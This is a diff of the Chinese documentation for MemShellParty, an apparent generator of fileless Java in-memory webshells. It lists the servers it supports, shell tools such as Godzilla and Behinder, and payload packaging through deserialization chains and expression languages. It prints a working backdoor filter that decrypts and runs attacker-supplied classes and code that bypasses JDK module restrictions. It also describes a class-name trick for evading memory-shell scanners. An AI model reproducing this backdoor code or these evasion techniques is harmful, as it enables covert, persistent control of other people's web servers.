"parse-entities/@types/unist": ["@types/[email protected]", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="],
|
||||
@@ -1374,6 +1372,8 @@
|
||||
|
||||
"react-d3-tree/uuid": ["[email protected]", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="],
|
||||
|
||||
"react-router-devtools/framer-motion": ["[email protected]", "", { "dependencies": { "motion-dom": "^12.23.23", "motion-utils": "^12.23.6", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-gUHGl2e4VG66jOcH0JHhuJQr6ZNwrET9g31ZG0xdXzT0CznP7fHX4P8Bcvuc4MiUB90ysNnWX2ukHRIggkl6hQ=="],
|
||||
|
||||
"serve/chalk": ["[email protected]", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="],
|
||||
|
||||
"serve-handler/bytes": ["[email protected]", "", {}, "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="],
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
---
|
||||
title: 适配情况
|
||||
icon: Album
|
||||
---
|
||||
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
|
||||
### 中间件以及框架
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | Handler | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent |
|
||||
| FilterChain - Agent | ServletHandler - Agent | | |
|
||||
| ContextValve - Agent | | | |
|
||||
| Upgrade | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent|
|
||||
| FilterChain - Agent | ContextValve - Agent (6) | | |
|
||||
| ContextValve - Agent | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](./suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
### 打包方式
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR、ScriptEngineJar、GroovyTransformJar
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB 和 CC 链)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT 链)
|
||||
- [x] H2
|
||||
- [ ] JNDI
|
||||
- [ ] 其他常见反序列化
|
||||
@@ -28,29 +28,32 @@ inject(context, shell);
|
||||
|
||||
| 挂载类型 | 参考实现 |
|
||||
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||
|
||||
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java) |
|
||||
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
|
||||
| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
|
||||
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
|
||||
### 参考步骤
|
||||
|
||||
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||
3. 执行 `./gradlew :generator:compileJava` 或 `.\gradlew.bat :generator:compileJava`
|
||||
4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||
+28
-73
@@ -1,88 +1,43 @@
|
||||
---
|
||||
title: 适配情况
|
||||
icon: Album
|
||||
title: 什么是 Java 内存马
|
||||
---
|
||||
|
||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
## 什么是 webshell
|
||||
|
||||
### 中间件以及框架
|
||||
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 12) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | Handler | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent |
|
||||
| FilterChain - Agent | ServletHandler - Agent | | |
|
||||
| ContextValve - Agent | | | |
|
||||
| Upgrade | | | |
|
||||
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
常见的 webshell 功能包括:
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 8) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent|
|
||||
| FilterChain - Agent | ContextValve - Agent (6) | | |
|
||||
| ContextValve - Agent | ServletHandler - Agent (7) | | |
|
||||
1. 命令回显,反弹 unix shell。
|
||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
## 演变历程
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||
|----------------------|----------------------|------------------------|
|
||||
| Filter | Filter | Filter |
|
||||
| Listener | Listener | Listener |
|
||||
| Valve | Valve | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||
|
||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||
|---------------------|----------------------|
|
||||
| Servlet | Filter |
|
||||
| Filter | Listener |
|
||||
| Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent |
|
||||
| | ContextValve - Agent |
|
||||
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||
|
||||
### 内存马功能
|
||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](./suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
## 常见 Java 内存马
|
||||
|
||||
### 打包方式
|
||||
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR、ScriptEngineJar、GroovyTransformJar
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB 和 CC 链)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT 链)
|
||||
- [x] H2
|
||||
- [ ] JNDI
|
||||
- [ ] 其他常见反序列化
|
||||
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
|
||||
|
||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||
|
||||
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||
|
||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||
|
||||
## 延伸阅读
|
||||
|
||||
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
|
||||
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
|
||||
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
|
||||
|
||||
@@ -0,0 +1,274 @@
|
||||
---
|
||||
title: 核心配置项
|
||||
description: 了解和使用那些可能用到的一键开关
|
||||
---
|
||||
|
||||
### 服务类型
|
||||
|
||||
所需要注入内存马的 Java 服务类型,目前支持以下方式。
|
||||
|
||||
如果在以下列表中未找到,可先查看 [目标服务介绍](/docs/server-intro) 是否有提到
|
||||
|
||||
如果仍然没有,则可提 [issue](https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md) 请求适配
|
||||
|
||||
- [x] Tomcat
|
||||
- [x] Jetty
|
||||
- [x] Undertow
|
||||
- [x] JBoss
|
||||
- [x] Resin
|
||||
- [x] WebLogic
|
||||
- [x] WebSphere
|
||||
- [x] GlassFish
|
||||
- [x] TongWeb
|
||||
- [x] BES
|
||||
- [x] InforSuite
|
||||
- [x] Apusic
|
||||
- [x] SpringWebMvc
|
||||
- [x] SpringWebFlux
|
||||
- [x] XXLJOB
|
||||
- [x] Struct2
|
||||
|
||||
### 服务版本
|
||||
|
||||
服务版本用于部分中间件不同版本之间包名不同,需要进行单独适配的情况,默认 Unknown 即可。
|
||||
|
||||
仅以下两种内存马用到:
|
||||
|
||||
1. TongWeb Valve 内存马:可选值为 6、7、8
|
||||
2. Jetty Handler/JakartaHandler 内存马:可选值为 6、7+、12
|
||||
|
||||
### 内存马工具
|
||||
|
||||
所需要注入内存马工具类型,目前支持以下几种方式:
|
||||
|
||||
- [x] [Godzilla](/docs/godzilla)
|
||||
- [x] Behinder
|
||||
- [x] Command
|
||||
- [x] [Suo5](/docs/suo5)
|
||||
- [x] [Suo5v2](/docs/suo5)
|
||||
- [x] AntSword
|
||||
- [x] NeoreGeorg
|
||||
- [x] Custom:自定义内存马,用于上续工具都不是想要的情况下,参考 [实现自定义内存马](/docs/custom-memshell) 进行使用
|
||||
|
||||
### 调试模式
|
||||
|
||||
集成测试用例仅测试了各中间件大版本下的兼容情况,不可避免地某些版本可能存在问题,一味地去除各种打印信息在这种情况下排查问题是棘手的,因此有了调试模式。
|
||||
|
||||
1. 处理第一个问题,内存马是否注入成功,当开启调试模式后内存马注入器使用 System.out.println 向业务日志打印注入信息
|
||||
|
||||
```java
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);// [!code highlight]
|
||||
```
|
||||
|
||||
2. 处理第二个问题,内存马注入成功但是连不上怎么回事,当开启调试模式后内存马工具类使用 e.printStackTrace 向业务输出错误堆栈
|
||||
|
||||
```java
|
||||
@Override
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null
|
||||
&& request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", unwrap(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
|
||||
Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
|
||||
instance.equals(obj);
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();// [!code highlight]
|
||||
}
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
```
|
||||
|
||||
调试所用的打印代码默认是写在模板中的,因此当关闭调试模式的时候,我们会使用字节码修改技术对打印调试信息的函数调用进行删除,详细实现可参考:[LogRemoveMethodVisitor.java](https://github.com/ReaJason/MemShellParty/blob/master/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java),也就是把以下三种函数调用给去除
|
||||
```java
|
||||
System.out.println(msg) //(printf 还不支持)
|
||||
|
||||
e.printStackTrace()
|
||||
|
||||
Logger.info(msg) // (java.util)
|
||||
```
|
||||
|
||||
### 回显模式
|
||||
|
||||
<Callout title="注意" type="warn">
|
||||
并不是所有服务都支持回显马,因此在不支持的服务开启回显模式,也享受不到回显效果
|
||||
</Callout>
|
||||
|
||||
调试模式仅限于我们能访问到业务日志,但是实战过程中,在没 getshell 前我们获取不到服务器权限,并且调试模式在目标业务打印大段注入信息属实敏感,因此有了回显模式。
|
||||
|
||||
**回显模式主要解决的问题是实战过程中判断内存马注入是否成功。**
|
||||
|
||||
当开启回显后,会将注入器字节码放置到回显马中,返回一个目标服务类型的回显马,代码执行顺序为:回显马运行 -> 注入器注入 -> 挂载内存马。
|
||||
|
||||
<Callout title="额外注意" type="warn">
|
||||
由于回显马需要从当前线程获取 request 和 response 对象,因此跨线程 RCE 的环境下,无法回显,根据代码执行顺序,无法回显的环境,开启回显模式之后注入器也不会进行注入动作,因此支持回显马但无法回显的环境,请一定不要开启回显模式。
|
||||
</Callout>
|
||||
|
||||
|
||||
### 绕过模块限制
|
||||
|
||||
JDK9+ 有了模块化系统,严格限制各大函数的调用。注入器在注入内存马时需要使用反射调用 defineClass,不是 java.base 模块无法调用,开启绕过模块限制会在注入器自动插入绕过模块限制的代码。也就是如下这坨代码:
|
||||
```java
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
```
|
||||
|
||||
### Lambda 类名后缀
|
||||
|
||||
由于目前 RASP 并未广泛普及,内存马无文件的特性仅在 RASP 面前一览无余,在其他设备上就犹如神力无法被精准检测。而目前绝大多数主动扫描内存马设备为了降低 dumpClass 风险和增加效率,并不会将 JVM 中所有的类进行分析,可能设置有白名单,而 Lambda 类名是众多一线渗透专家测试出来的结果。在类名中添加 Lambda 类名特征即可绕过主动扫描设备。
|
||||
|
||||
开启 Lambda 类名后缀之后,会在注入器和内存马类名后自动加入 `$Proxy0$$Lambda$1`。
|
||||
|
